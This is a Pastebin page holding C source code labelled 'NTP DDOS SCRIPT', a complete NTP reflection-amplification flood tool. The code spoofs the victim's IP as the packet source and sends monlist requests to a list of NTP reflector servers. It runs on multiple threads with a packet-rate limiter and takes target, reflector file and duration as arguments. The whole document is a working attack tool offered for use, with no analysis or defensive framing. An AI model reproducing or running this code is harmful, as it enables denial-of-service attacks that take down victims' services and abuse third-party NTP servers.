daily pastebin goal
66%
SHARE
TWEET

ntp.c

wtfbbq Mar 26th, 2015 (edited) 10,047 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* NTP DDOS SCRIPT */
  2.  
  3. #include <time.h>
  4. #include <pthread.h>
  5. #include <unistd.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <sys/socket.h>
  10. #include <netinet/ip.h>
  11. #include <netinet/udp.h>
  12. #include <arpa/inet.h>
  13. #define MAX_PACKET_SIZE 8192
  14. #define PHI 0x9e3779b9
  15. static uint32_t Q[4096], c = 362436;
  16. struct list
  17. {
  18.     struct sockaddr_in data;
  19.     struct list *next;
  20.     struct list *prev;
  21. };
  22. struct list *head;
  23. volatile int tehport;
  24. volatile int limiter;
  25. volatile unsigned int pps;
  26. volatile unsigned int sleeptime = 100;
  27. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  28. void init_rand(uint32_t x)
  29. {
  30.     int i;
  31.     Q[0] = x;
  32.     Q[1] = x + PHI;
  33.     Q[2] = x + PHI + PHI;
  34.     for (i = 3; i < 4096; i++)
  35.     {
  36.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  37.     }
  38. }
  39. uint32_t rand_cmwc(void)
  40. {
  41.     uint64_t t, a = 18782LL;
  42.     static uint32_t i = 4095;
  43.     uint32_t x, r = 0xfffffffe;
  44.     i = (i + 1) & 4095;
  45.     t = a * Q[i] + c;
  46.     c = (t >> 32);
  47.     x = t + c;
  48.     if (x < c) {
  49.     x++;
  50.     c++;
  51.     }
  52.     return (Q[i] = r - x);
  53. }
  54. unsigned short csum (unsigned short *buf, int nwords)
  55. {
  56.     unsigned long sum = 0;
  57.     for (sum = 0; nwords > 0; nwords--)
  58.     sum += *buf++;
  59.     sum = (sum >> 16) + (sum & 0xffff);
  60.     sum += (sum >> 16);
  61.     return (unsigned short)(~sum);
  62. }
  63. void setup_ip_header(struct iphdr *iph)
  64. {
  65.     iph->ihl = 5;
  66.     iph->version = 4;
  67.     iph->tos = 0;
  68.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
  69.     iph->id = htonl(54321);
  70.     iph->frag_off = 0;
  71.     iph->ttl = MAXTTL;
  72.     iph->protocol = IPPROTO_UDP;
  73.     iph->check = 0;
  74.     iph->saddr = inet_addr("192.168.3.100");
  75. }
  76. void setup_udp_header(struct udphdr *udph)
  77. {
  78.     udph->source = htons(5678);
  79.         udph->dest = htons(123);
  80.         udph->check = 0;
  81.         memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", 8);
  82.         udph->len=htons(sizeof(struct udphdr) + 8);
  83. }
  84. void *flood(void *par1)
  85. {
  86.     struct thread_data *td = (struct thread_data *)par1;
  87.     char datagram[MAX_PACKET_SIZE];
  88.     struct iphdr *iph = (struct iphdr *)datagram;
  89.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  90.     struct sockaddr_in sin = td->sin;
  91.     struct  list *list_node = td->list_node;
  92.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  93.     if(s < 0){
  94.     fprintf(stderr, "Could not open raw socket.\n");
  95.     exit(-1);
  96.     }
  97.     init_rand(time(NULL));
  98.     memset(datagram, 0, MAX_PACKET_SIZE);
  99.     setup_ip_header(iph);
  100.     setup_udp_header(udph);
  101.     udph->source = htons(rand() % 65535 - 1026);
  102.     iph->saddr = sin.sin_addr.s_addr;
  103.     iph->daddr = list_node->data.sin_addr.s_addr;
  104.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  105.     int tmp = 1;
  106.     const int *val = &tmp;
  107.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  108.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  109.     exit(-1);
  110.     }
  111.     init_rand(time(NULL));
  112.     register unsigned int i;
  113.     i = 0;
  114.     while(1){
  115.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  116.         list_node = list_node->next;
  117.         iph->daddr = list_node->data.sin_addr.s_addr;
  118.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  119.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  120.         pps++;
  121.         if(i >= limiter)
  122.         {
  123.             i = 0;
  124.             usleep(sleeptime);
  125.         }
  126.         i++;
  127.     }
  128. }
  129. int main(int argc, char *argv[ ])
  130. {
  131.     if(argc < 6){
  132.     fprintf(stderr, "Invalid parameters!\n");
  133.     fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  134.         exit(-1);
  135.     }
  136.     srand(time(NULL));
  137.     int i = 0;
  138.     head = NULL;
  139.     fprintf(stdout, "Setting up sockets...\n");
  140.     int max_len = 128;
  141.     char *buffer = (char *) malloc(max_len);
  142.     buffer = memset(buffer, 0x00, max_len);
  143.     int num_threads = atoi(argv[4]);
  144.     int maxpps = atoi(argv[5]);
  145.     limiter = 0;
  146.     pps = 0;
  147.     int multiplier = 20;
  148.     FILE *list_fd = fopen(argv[3],  "r");
  149.     while (fgets(buffer, max_len, list_fd) != NULL) {
  150.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  151.                 (buffer[strlen(buffer) - 1] == '\r')) {
  152.             buffer[strlen(buffer) - 1] = 0x00;
  153.             if(head == NULL)
  154.             {
  155.                 head = (struct list *)malloc(sizeof(struct list));
  156.                 bzero(&head->data, sizeof(head->data));
  157.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  158.                 head->next = head;
  159.                 head->prev = head;
  160.             } else {
  161.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  162.                 memset(new_node, 0x00, sizeof(struct list));
  163.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  164.                 new_node->prev = head;
  165.                 new_node->next = head->next;
  166.                 head->next = new_node;
  167.             }
  168.             i++;
  169.         } else {
  170.             continue;
  171.         }
  172.     }
  173.     struct list *current = head->next;
  174.     pthread_t thread[num_threads];
  175.     struct sockaddr_in sin;
  176.     sin.sin_family = AF_INET;
  177.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  178.     struct thread_data td[num_threads];
  179.     for(i = 0;i<num_threads;i++){
  180.         td[i].thread_id = i;
  181.         td[i].sin= sin;
  182.         td[i].list_node = current;
  183.         pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  184.     }
  185.     fprintf(stdout, "Starting flood...\n");
  186.     for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  187.     {
  188.         usleep((1000/multiplier)*1000);
  189.         if((pps*multiplier) > maxpps)
  190.         {
  191.             if(1 > limiter)
  192.             {
  193.                 sleeptime+=100;
  194.             } else {
  195.                 limiter--;
  196.             }
  197.         } else {
  198.             limiter++;
  199.             if(sleeptime > 25)
  200.             {
  201.                 sleeptime-=25;
  202.             } else {
  203.                 sleeptime = 0;
  204.             }
  205.         }
  206.         pps = 0;
  207.     }
  208.     return 0;
  209. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top